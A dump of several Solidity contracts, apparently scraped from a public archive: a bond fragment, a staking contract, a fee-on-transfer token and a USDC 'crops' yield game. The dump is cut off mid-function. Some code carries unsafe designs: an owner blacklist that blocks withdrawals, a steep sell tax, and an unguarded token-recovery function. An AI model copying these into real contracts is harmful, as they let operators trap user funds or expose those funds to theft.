uint payout = payoutFor(amount);
require(payout <= maxPayout(), "Bond too large");
lp.safeTransferFrom(msg.sender, address(this), amount);
fetch.breed(msg.sender, payout);
totalDebt += payout; // increase total debt
return payout;
}
function decayDebt() internal {
totalDebt = totalDebt - debtDecay();
lastDecay = block.timestamp;
}
function debtDecay() public view returns (uint decay_) {
uint secondsSinceLast = block.timestamp - lastDecay;
decay_ = totalDebt * secondsSinceLast / DECAY;
if (decay_ > totalDebt) {
decay_ = totalDebt;
}
}
function currentDebt() public view returns (uint) {
return totalDebt - debtDecay();
}
function payoutFor(uint amount) public view returns (uint256) {
return amount * 1e18 / bondPrice();
}
function bondPrice() public view returns (uint256 price_) {
if (controlVariable() >= debtRatio()) {
price_ = openPrice;
} else {
price_ = debtRatio() / controlVariable();
if (price_ < openPrice) {
price_ = openPrice;
}
}
}
function debtRatio() public view returns (uint256) {
return currentDebt() * 1e18 / circulatingSupply();
}
function maxPayout() public view returns (uint256) {
uint256 supply = circulatingSupply();
uint256 maxSupply = fetch.maxSupply();
uint256 max;
if (supply < maxSupply / 10) {
max = 100;
} else if (supply < maxSupply / 5) {
max = 50;
} else if (supply < maxSupply / 3) {
max = 25;
} else if (supply < maxSupply / 2) {
max = 10;
} else {
max = 5;
}
return supply * max / 10_000;
}
function controlVariable() public view returns (uint256) {
uint256 supply = circulatingSupply();
uint256 maxSupply = fetch.maxSupply();
if (supply < maxSupply / 10) {
return 2e5;
} else if (supply < maxSupply / 5) {
return 1e5;
} else if (supply < maxSupply / 3) {
return 5e4;
} else if (supply < maxSupply / 2) {
return 25e3;
} else {
return 1e4;
}
}
function circulatingSupply() public view returns (uint256) {
return fetch.totalSupply() - fetch.balanceOf(kibble);
}
function recoverLostToken(address token_) external {
require(token_ != address(fetch), "woof");
require(token_ != address(lp), "woof");
IERC20(token_).safeTransfer(msg.sender, IERC20(token_).balanceOf(address(this)));
}
}
| 117,175 | 1,714 |
7d0886100d4f0bcb37995986d4694cbfef118a47e1b515dbf8a00a0504ecd269
| 24,018 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/e5/E5a4D2D1076F7d7619B06B54dAd35F2339FD6824_StakesAlmond.sol
| 3,999 | 14,953 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Owner {
address private owner;
// event for EVM logging
event OwnerSet(address indexed oldOwner, address indexed newOwner);
// modifier to check if caller is owner
modifier isOwner() {
// If the first argument of 'require' evaluates to 'false', execution terminates and all
// changes to the state and to Ether balances are reverted.
// This used to consume all gas in old EVM versions, but not anymore.
// It is often a good idea to use 'require' to check if functions are called correctly.
// As a second argument, you can also provide an explanation about what went wrong.
require(msg.sender == owner, "Caller is not owner");
_;
}
constructor(address _owner) {
owner = _owner;
emit OwnerSet(address(0), owner);
}
function changeOwner(address newOwner) public isOwner {
emit OwnerSet(owner, newOwner);
owner = newOwner;
}
function getOwner() public view returns (address) {
return owner;
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// Using consensys implementation of ERC-20, because of decimals
// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
abstract contract EIP20Interface {
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return balance The balance
function balanceOf(address _owner) virtual public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return success Whether the transfer was successful or not
function transfer(address _to, uint256 _value) virtual public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return success Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) virtual public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return success Whether the approval was successful or not
function approve(address _spender, uint256 _value) virtual public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return remaining Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) virtual public view returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract EIP20 is EIP20Interface {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show.
string public symbol; //An identifier: eg SBX
constructor(uint256 _initialAmount,
string memory _tokenName,
uint8 _decimalUnits,
string memory _tokenSymbol) {
balances[msg.sender] = _initialAmount; // Give the creator all initial tokens
totalSupply = _initialAmount; // Update total supply
name = _tokenName; // Set the name for display purposes
decimals = _decimalUnits; // Amount of decimals for display purposes
symbol = _tokenSymbol; // Set the symbol for display purposes
}
function transfer(address _to, uint256 _value) override public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function transferFrom(address _from, address _to, uint256 _value) override public returns (bool success) {
uint256 the_allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && the_allowance >= _value);
balances[_to] += _value;
balances[_from] -= _value;
if (the_allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function balanceOf(address _owner) override public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) override public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value); //solhint-disable-line indent, no-unused-vars
return true;
}
function allowance(address _owner, address _spender) override public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract StakesAlmond is Owner, ReentrancyGuard {
using SafeMath for uint256;
// token to deposit
EIP20 public asset;
// token to pay interest
EIP20 public asset2;
// stakes history
struct Record {
uint256 from;
uint256 amount;
uint256 gain;
uint256 gain2;
uint256 penalization;
uint256 to;
bool ended;
}
// contract parameters
uint8 public interest_rate;
uint8 public interest_rate2;
uint256 public maturity;
uint8 public penalization;
uint256 public lower_amount;
// conversion ratio for token1 and token2
// 1:10 ratio will be:
// ratio1 = 1
// ratio2 = 10
uint256 public ratio1;
uint256 public ratio2;
mapping(address => Record[]) public ledger;
event StakeStart(address indexed user, uint256 value, uint256 index);
event StakeEnd(address indexed user, uint256 value, uint256 penalty, uint256 interest, uint256 index);
constructor(EIP20 _erc20, EIP20 _erc20_2, address _owner, uint8 _rate, uint8 _rate2, uint256 _maturity,
uint8 _penalization, uint256 _lower, uint256 _ratio1, uint256 _ratio2) Owner(_owner) {
require(_penalization<=100, "Penalty has to be an integer between 0 and 100");
asset = _erc20;
asset2 = _erc20_2;
ratio1 = _ratio1;
ratio2 = _ratio2;
interest_rate = _rate;
interest_rate2 = _rate2;
maturity = _maturity;
penalization = _penalization;
lower_amount = _lower;
}
function start(uint256 _value) external {
require(_value >= lower_amount, "Invalid value");
asset.transferFrom(msg.sender, address(this), _value);
ledger[msg.sender].push(Record(block.timestamp, _value, 0, 0, 0, 0, false));
emit StakeStart(msg.sender, _value, ledger[msg.sender].length-1);
}
function end(uint256 i) external nonReentrant {
require(i < ledger[msg.sender].length, "Invalid index");
require(ledger[msg.sender][i].ended==false, "Invalid stake");
// penalization
if(block.timestamp.sub(ledger[msg.sender][i].from) < maturity) {
uint256 _penalization = ledger[msg.sender][i].amount.mul(penalization).div(100);
asset.transfer(msg.sender, ledger[msg.sender][i].amount.sub(_penalization));
asset.transfer(getOwner(), _penalization);
ledger[msg.sender][i].penalization = _penalization;
ledger[msg.sender][i].to = block.timestamp;
ledger[msg.sender][i].ended = true;
emit StakeEnd(msg.sender, ledger[msg.sender][i].amount, _penalization, 0, i);
// interest gained
} else {
// interest is calculated in asset2
uint256 _interest = get_gains(msg.sender, i);
// check that the owner can pay interest before trying to pay, token 1
if (_interest>0 && asset.allowance(getOwner(), address(this)) >= _interest && asset.balanceOf(getOwner()) >= _interest) {
asset.transferFrom(getOwner(), msg.sender, _interest);
} else {
_interest = 0;
}
// interest is calculated in asset2
uint256 _interest2 = get_gains2(msg.sender, i);
// check that the owner can pay interest before trying to pay, token 1
if (_interest2>0 && asset2.allowance(getOwner(), address(this)) >= _interest2 && asset2.balanceOf(getOwner()) >= _interest2) {
asset2.transferFrom(getOwner(), msg.sender, _interest2);
} else {
_interest2 = 0;
}
// the original asset is returned to the investor
asset.transfer(msg.sender, ledger[msg.sender][i].amount);
ledger[msg.sender][i].gain = _interest;
ledger[msg.sender][i].gain2 = _interest2;
ledger[msg.sender][i].to = block.timestamp;
ledger[msg.sender][i].ended = true;
emit StakeEnd(msg.sender, ledger[msg.sender][i].amount, 0, _interest, i);
}
}
function set(EIP20 _erc20, EIP20 _erc20_2, uint256 _lower, uint256 _maturity, uint8 _rate, uint8 _rate2, uint8 _penalization, uint256 _ratio1, uint256 _ratio2) public isOwner {
require(_penalization<=100, "Invalid value");
asset = _erc20;
asset2 = _erc20_2;
ratio1 = _ratio1;
ratio2 = _ratio2;
lower_amount = _lower;
maturity = _maturity;
interest_rate = _rate;
interest_rate2 = _rate2;
penalization = _penalization;
}
// calculate interest of the token 1 to the current date time
function get_gains(address _address, uint256 _rec_number) public view returns (uint256) {
uint256 _record_seconds = block.timestamp.sub(ledger[_address][_rec_number].from);
uint256 _year_seconds = 365*24*60*60;
return _record_seconds.mul(ledger[_address][_rec_number].amount.mul(interest_rate).div(100)).div(_year_seconds);
}
// calculate interest to the current date time
function get_gains2(address _address, uint256 _rec_number) public view returns (uint256) {
uint256 _record_seconds = block.timestamp.sub(ledger[_address][_rec_number].from);
uint256 _year_seconds = 365*24*60*60;
// now we calculate the value of the transforming the staked asset (asset) into the asset2
// first we calculate the ratio
uint256 value_in_asset2 = ledger[_address][_rec_number].amount.mul(ratio2).div(ratio1);
// now we transform into decimals of the asset2
value_in_asset2 = value_in_asset2.mul(10**asset2.decimals()).div(10**asset.decimals());
uint256 interest = _record_seconds.mul(value_in_asset2.mul(interest_rate2).div(100)).div(_year_seconds);
// now lets calculate the interest rate based on the converted value in asset 2
return interest;
}
function ledger_length(address _address) public view
returns (uint256) {
return ledger[_address].length;
}
}
| 51,780 | 1,715 |
f8c3724059e70704660a19c175e4f04f0435110aff1eea07e14233f244bbe080
| 27,995 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/1b/1be1342c965fc978d6b0b431d695d5ab1b6c25cc_ZKSToken.sol
| 3,852 | 14,793 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// website: // https://zkswap.biz
//
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() {}
function _msgSender() internal view returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
//
contract ERC20 is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'ERC20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'ERC20: decreased allowance below zero'));
return true;
}
function mint(uint256 amount) public virtual onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual{
require(sender != address(0), 'ERC20: transfer from the zero address');
require(recipient != address(0), 'ERC20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'ERC20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'ERC20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'ERC20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'ERC20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), 'ERC20: approve from the zero address');
require(spender != address(0), 'ERC20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'ERC20: burn amount exceeds allowance'));
}
}
// ZKSToken with Governance.
contract ZKSToken is ERC20('zkSwap', 'ZKS') {
using SafeMath for uint256;
mapping (address => bool) private _isRExcludedFromFee; // excluded list from receive
mapping (address => bool) private _isSExcludedFromFee; // excluded list from send
mapping (address => bool) private _isPair;
uint256 public _burnFee = 40;
uint256 public _maxTxAmount = 10 * 10**6 * 1e18;
uint256 public constant _maxSupply = 10 * 10**6 * 1e18;
address public zksMaster;
address public dev = 0xFcA898bAdbF6DC996c3887df8a5DfE1e9826b3e3;
event NewDeveloper(address);
event ExcludeFromFeeR(address);
event ExcludeFromFeeS(address);
event IncludeInFeeR(address);
event IncludeInFeeS(address);
event SetPair(address,bool);
event BurnFeeUpdated(uint256,uint256);
event SetzksMaster(address);
event Burn(uint256);
modifier onlyDev() {
require(msg.sender == owner() || msg.sender == dev , "Error: Require developer or Owner");
_;
}
modifier onlyMaster() {
require(msg.sender == zksMaster , "Error: Only zksMaster");
_;
}
constructor() {
zksMaster = 0xFcA898bAdbF6DC996c3887df8a5DfE1e9826b3e3;
mint(dev, 13*1e23);
_isRExcludedFromFee[dev] = true;
_isSExcludedFromFee[dev] = true;
}
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (zksMaster).
function mint(address _to, uint256 _amount) public onlyMaster returns (bool) {
require(_maxSupply >= totalSupply().add(_amount) , "Error : Total Supply Reached");
_mint(_to, _amount);
return true;
}
function mint(uint256 amount) public override onlyMaster returns (bool) {
require(_maxSupply >= totalSupply().add(amount) , "Error : Total Supply Reached");
_mint(_msgSender(), amount);
return true;
}
// Exclude an account from receive fee
function excludeFromFeeR(address account) external onlyOwner {
require(!_isRExcludedFromFee[account], "Account is already excluded From receive Fee");
_isRExcludedFromFee[account] = true;
emit ExcludeFromFeeR(account);
}
// Exclude an account from send fee
function excludeFromFeeS(address account) external onlyOwner {
require(!_isSExcludedFromFee[account], "Account is already excluded From send Fee");
_isSExcludedFromFee[account] = true;
emit ExcludeFromFeeS(account);
}
// Include an account in receive fee
function includeInFeeR(address account) external onlyOwner {
require(_isRExcludedFromFee[account], "Account is not excluded From receive Fee");
_isRExcludedFromFee[account] = false;
emit IncludeInFeeR(account);
}
// Include an account in send fee
function includeInFeeS(address account) external onlyOwner {
require(_isSExcludedFromFee[account], "Account is not excluded From send Fee");
_isSExcludedFromFee[account] = false;
emit IncludeInFeeS(account);
}
function setPair(address _pair, bool _status) external onlyOwner {
require(_pair != address(0), 'ZKS: Pair cannot be the zero address');
_isPair[_pair] = _status;
emit SetPair(_pair , _status);
}
function setBurnFee(uint256 burnFee) external onlyOwner() {
require(burnFee <= 80 , "Error : MaxBurnFee is 8%");
uint256 _previousBurnFee = _burnFee;
_burnFee = burnFee;
emit BurnFeeUpdated(_previousBurnFee,_burnFee);
}
function setMaxTxLimit(uint256 maxTx) external onlyOwner() {
require(maxTx >= 100*1e18 , "Error : Minimum maxTxLimit is 100 ZKS");
require(maxTx <= _maxSupply , "Error : Maximum maxTxLimit is 10M ZKS");
_maxTxAmount = maxTx;
}
function setDev(address _dev) external onlyDev {
require(dev != address(0), 'ZKS: dev cannot be the zero address');
_isRExcludedFromFee[dev] = false;
_isSExcludedFromFee[dev] = false;
dev = _dev ;
_isRExcludedFromFee[_dev] = true;
_isSExcludedFromFee[_dev] = true;
emit NewDeveloper(_dev);
}
function setMaster(address master) public onlyMaster {
require(master!= address(0), 'ZKS: zksMaster cannot be the zero address');
zksMaster = master;
_isRExcludedFromFee[master] = true;
_isSExcludedFromFee[master] = true;
emit SetzksMaster(master);
}
function isExcludedFromFee(address account) external view returns(bool Rfee , bool SFee) {
return (_isRExcludedFromFee[account] , _isSExcludedFromFee[account]);
}
function isPair(address account) external view returns(bool) {
return _isPair[account];
}
// @notice Destroys `amount` tokens from `account`, reducing the total supply.
function burn(uint256 amount) public {
_burn(msg.sender, amount);
emit Burn(amount);
}
function transferTaxFree(address recipient, uint256 amount) public returns (bool) {
require(_isPair[_msgSender()] , "ZKS: Only zkSwap Router or ZKS pair");
super._transfer(_msgSender(), recipient, amount);
return true;
}
function transferFromTaxFree(address sender, address recipient, uint256 amount) public returns (bool) {
require(_isPair[_msgSender()] , "ZKS: Only zkSwap Router or ZKS pair");
super._transfer(sender, recipient, amount);
super._approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'ERC20: transfer amount exceeds allowance'));
return true;
}
/// @dev overrides transfer function to meet tokenomics of ZKS
function _transfer(address sender, address recipient, uint256 amount) internal override {
//if any account belongs to _isExcludedFromFee account then remove the fee
if (_isSExcludedFromFee[sender] || _isRExcludedFromFee[recipient]) {
super._transfer(sender, recipient, amount);
}
else {
require(amount <= _maxTxAmount , "ZKS Transfer: Transfer amount is above the limit!");
// A percentage of every transfer goes to Burn Vault ,ILP Vault & Dev
uint256 burnAmount = amount.mul(_burnFee).div(1000);
// Remainder of transfer sent to recipient
uint256 sendAmount = amount.sub(burnAmount);
require(amount == sendAmount + burnAmount , "ZKS Transfer: Fee value invalid");
_burn(sender, burnAmount);
super._transfer(sender, recipient, sendAmount);
amount = sendAmount;
}
}
}
| 46,591 | 1,716 |
27bfba00c734355cfd6d3ad8025e4e4c4d4bdcd180c8ed93bdfe5b4f2a903d60
| 18,995 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/45/45f851e16bc8fd3b6c1cfbe5b6e697547446ca50_USDC_Crops.sol
| 5,295 | 17,221 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
interface IToken {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract USDC_Crops {
using SafeMath for uint256;
IToken public token_USDC;
address erctoken = 0x67317646F6071beb17c42102eC71dcF6F697508E;
//address erctoken = 0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E;
uint256 public EGGS_TO_HIRE_1MINERS = 1080000;
uint256 public PERCENTS_DIVIDER = 1000;
uint256 public REFERRAL = 80;
uint256 public TAX = 9;
uint256 public MARKET_EGGS_DIVISOR = 2; // 50%
uint256 public MARKET_EGGS_DIVISOR_SELL = 1; // 100%
uint256 public MIN_INVEST_LIMIT = 10 * 1e6;
uint256 public WALLET_DEPOSIT_LIMIT = 10000 * 1e6;
uint256 public COMPOUND_BONUS = 25;
uint256 public COMPOUND_BONUS_MAX_TIMES = 10;
uint256 public COMPOUND_STEP = 12 * 60 * 60;
uint256 public WITHDRAWAL_TAX = 600;
uint256 public COMPOUND_FOR_NO_TAX_WITHDRAWAL = 5; // compound days, for no tax withdrawal.
uint256 public totalStaked;
uint256 public totalDeposits;
uint256 public totalCompound;
uint256 public totalRefBonus;
uint256 public totalWithdrawn;
uint256 public marketEggs;
uint256 PSN = 10000;
uint256 PSNH = 5000;
bool public contractStarted;
bool public blacklistActive = true; //set false after launch
mapping(address => bool) public Blacklisted;
uint256 public CUTOFF_STEP = 48 * 60 * 60;
uint256 public WITHDRAW_COOLDOWN = 4 * 60 * 60;
address public owner;
address public dev1;
address public dev2;
address public dev3;
address public prtnr1;
address public prtnr2;
address public mkt;
struct User {
uint256 initialDeposit;
uint256 userDeposit;
uint256 miners;
uint256 claimedEggs;
uint256 lastHatch;
address referrer;
uint256 referralsCount;
uint256 referralEggRewards;
uint256 totalWithdrawn;
uint256 dailyCompoundBonus;
uint256 lastWithdrawTime;
}
mapping(address => User) public users;
constructor(address _dev1, address _dev2, address _dev3, address _prtnr1, address _prtnr2, address _mkt) {
require(!isContract(_dev1) && !isContract(_dev2) && !isContract(_dev3) && !isContract(_prtnr1) && !isContract(_prtnr2) && !isContract(_mkt));
owner = msg.sender;
dev1 = _dev1;
dev2 = _dev2;
dev3 = _dev3;
prtnr1 = _prtnr1;
prtnr2 = _prtnr2;
mkt = _mkt;
token_USDC = IToken(erctoken);
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
function setblacklistActive(bool isActive) public{
require(msg.sender == owner, "Admin use only.");
blacklistActive = isActive;
}
function blackListWallet(address Wallet, bool isBlacklisted) public{
require(msg.sender == owner, "Admin use only.");
Blacklisted[Wallet] = isBlacklisted;
}
function blackMultipleWallets(address[] calldata Wallet, bool isBlacklisted) public{
require(msg.sender == owner, "Admin use only.");
for(uint256 i = 0; i < Wallet.length; i++) {
Blacklisted[Wallet[i]] = isBlacklisted;
}
}
function checkIfBlacklisted(address Wallet) public view returns(bool blacklisted){
require(msg.sender == owner, "Admin use only.");
blacklisted = Blacklisted[Wallet];
}
function hireMoreFarmers(bool isCompound) public {
User storage user = users[msg.sender];
require(contractStarted, "Contract not yet Started.");
uint256 eggsUsed = getMyEggs();
uint256 eggsForCompound = eggsUsed;
if(isCompound) {
uint256 dailyCompoundBonus = getDailyCompoundBonus(msg.sender, eggsForCompound);
eggsForCompound = eggsForCompound.add(dailyCompoundBonus);
uint256 eggsUsedValue = calculateEggSell(eggsForCompound);
user.userDeposit = user.userDeposit.add(eggsUsedValue);
totalCompound = totalCompound.add(eggsUsedValue);
}
if(block.timestamp.sub(user.lastHatch) >= COMPOUND_STEP) {
if(user.dailyCompoundBonus < COMPOUND_BONUS_MAX_TIMES) {
user.dailyCompoundBonus = user.dailyCompoundBonus.add(1);
}
}
user.miners = user.miners.add(eggsForCompound.div(EGGS_TO_HIRE_1MINERS));
user.claimedEggs = 0;
user.lastHatch = block.timestamp;
marketEggs = marketEggs.add(eggsUsed.div(MARKET_EGGS_DIVISOR));
}
function sellCrops() public{
require(contractStarted, "Contract not yet Started.");
if (blacklistActive) {
require(!Blacklisted[msg.sender], "Address is blacklisted.");
}
User storage user = users[msg.sender];
uint256 hasEggs = getMyEggs();
uint256 eggValue = calculateEggSell(hasEggs);
if(user.dailyCompoundBonus < COMPOUND_FOR_NO_TAX_WITHDRAWAL){
//daily compound bonus count will not reset and eggValue will be deducted with 60% feedback tax.
eggValue = eggValue.sub(eggValue.mul(WITHDRAWAL_TAX).div(PERCENTS_DIVIDER));
}else{
//set daily compound bonus count to 0 and eggValue will remain without deductions
user.dailyCompoundBonus = 0;
}
user.lastWithdrawTime = block.timestamp;
user.claimedEggs = 0;
user.lastHatch = block.timestamp;
marketEggs = marketEggs.add(hasEggs.div(MARKET_EGGS_DIVISOR_SELL));
if(getBalance() < eggValue) {
eggValue = getBalance();
}
